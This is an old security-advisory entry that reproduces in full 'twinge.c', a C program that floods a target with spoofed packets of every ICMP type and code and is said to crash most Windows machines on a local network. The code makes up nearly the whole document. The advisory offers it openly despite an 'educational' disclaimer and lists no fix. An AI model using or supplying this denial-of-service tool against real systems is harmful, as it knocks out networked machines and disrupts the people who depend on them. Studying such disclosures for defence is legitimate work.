COMMAND

    TCP/IP

SYSTEMS AFFECTED

    Win32

PROBLEM

    'sinkhole' found  following.   Crashes almost  any windows  box on
    your local network.   Compiles on Linux.   If you can't figure  it
    out you shouldn't be using it anyways.

    /*
      twinge.c - by sinkhole@dos.org [6/99]

      this cycle through all the possible icmp types and subtypes and
      send to target host, 1 cycle == 1 run thru all of em

      Crashes almost all Windows boxes over a LAN.

      DISCLAIMER:
      This is a PoC (Proof Of Concept) program for educational purposes
      only. Using this program on public networks where other people
      are affected by your actions is _HIGHLY ILLEGAL_ and is not what
      this is made for.

      for without help from ryan this wouldnt have been coded. =)
    */


    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>

    long counter=1;

    void usage(const char *progname, const char *user) {
       fprintf(stderr, "twinge.c by sinkhole@dos.org - licensed for use by %s\n", user);
       fprintf(stderr, "This is a PoC (Proof of Concept) program for educational uses.\n");
       fprintf(stderr, "usage: %s <dest> <cycles [0 == continuous]>\n", progname);
    }

    int resolver(const char *name, unsigned int port, struct sockaddr_in *addr ) {
       struct hostent *host;
       memset(addr,0,sizeof(struct sockaddr_in));
       addr->sin_family = AF_INET;
       addr->sin_addr.s_addr = inet_addr(name);
       if (addr->sin_addr.s_addr == -1) {
          if (( host = gethostbyname(name) ) == NULL )  {
             fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
             return(-1);
          }
          addr->sin_family = host->h_addrtype;
          memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
       }
       addr->sin_port = htons(port);
       return(0);
    }

    unsigned short in_cksum(addr, len) /* normal checksum */
    u_short *addr;
    int len;
    {
       register int nleft = len;
       register u_short *w = addr;
       register int sum = 0;
       u_short answer = 0;

       while (nleft > 1)  {
          sum += *w++;
          nleft -= 2;
       }

       if (nleft == 1) {
          *(u_char *)(&answer) = *(u_char *)w;
          sum += answer;
       }

       sum = (sum >> 16) + (sum & 0xffff);
       sum += (sum >> 16);
       answer = ~sum;
       return(answer);
    }

    int send_packet(int socket,
		    unsigned long spoof_addr,
		    struct sockaddr_in *dest_addr, long seq, int ty, int code) {
       unsigned char  *packet;
       struct iphdr   *ip;
       struct icmphdr *icmp;
       int rc;

       #ifdef DEBUG
          printf("type: %d code: %d\n", ty, code);
       #endif
       srandom((getpid()+time(NULL)+seq));
       packet = (unsigned char *)malloc(sizeof(struct iphdr) +
                                        sizeof(struct icmphdr) + 8);
       ip = (struct iphdr *)packet;
       icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
       memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
       ip->ihl      = 5;
       ip->version  = 4;
       ip->id       = htons(random()*(seq*getpid()*3));
       ip->frag_off = 0;
       ip->tot_len  = strlen(packet);
       ip->ttl      = 255;
       ip->protocol = IPPROTO_ICMP;
       ip->saddr    = random()+ty+getpid();
       ip->daddr    = dest_addr->sin_addr.s_addr;
       ip->check    = in_cksum(ip, sizeof(struct iphdr));

       icmp->type              = ty;
       icmp->code              = code;
       /*
        3(unreach): cycle 0-9
        5(redirect): cycle 0-3
        11(time_exceed): cycle 0-1
       */
       icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1);
       if (sendto(socket,
                  packet,
                  sizeof(struct iphdr) +
                  sizeof(struct icmphdr) + 1,0,
                  (struct sockaddr *)dest_addr,
                  sizeof(struct sockaddr)) == -1) {
          perror("sendto");
          exit(0);
       }

       free(packet);
       return(0);
    }

    int main(int argc, char *argv[]) {
       struct sockaddr_in dest_addr;
       unsigned int i, x, s, sock;
       unsigned long src_addr;
       char owner[10];
       strcpy(owner, "t");
       strcat(owner, "h");
       strcat(owner, "e");
       strcat(owner, " ");
       strcat(owner, "p");
       strcat(owner, "u");
       strcat(owner, "b");
       strcat(owner, "l");
       strcat(owner, "i");
       strcat(owner, "c");
       if(argc < 2) {
          usage(argv[0], owner);
          exit(0);
       }

      if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
          fprintf(stderr,"ERROR: Opening raw socket. (need UID 0)\n");
          return(-1);
       }

       if (resolver(argv[1],0,&dest_addr) == -1) {
	    fprintf(stderr, "Cannot resolve destination\n");
	    exit(0);
       }

       src_addr = dest_addr.sin_addr.s_addr;


       for (s = 0;s <= atoi(argv[2]) || (atoi(argv[2]) == 0);s++) {
          for (i = 0;i < 18;i++) {
	     switch(i) {
	      case 3:
	        /* cycle 0-9 */
	        for (x=0; x<=9; ++x) send_packet(sock, src_addr, &dest_addr, counter, i, x);
	        break;
	      case 5:
	        /* cycle 0-3 */
	        for (x=0; x<=3; ++x) send_packet(sock, src_addr, &dest_addr, counter, i, x);
	        break;
	      case 11:
	        /* cycle 0-1 */
	        for(x=0;x<=1;++x) send_packet(sock, src_addr, &dest_addr, counter, i, x);
	        break;
	      default:
	        /* just use 0 =) */
	        send_packet(sock, src_addr, &dest_addr,  counter, i, 0);
	     }
	     ++counter;
          }
       }
    }

SOLUTION

    Nothing  yet.  Seems  like  some  people  that  tested  code   had
    different code, but  that's not the  case.  Some  people got Win98
    blocked, other  not.   Some blocked  router... and  some with same
    router did not experienced any problem.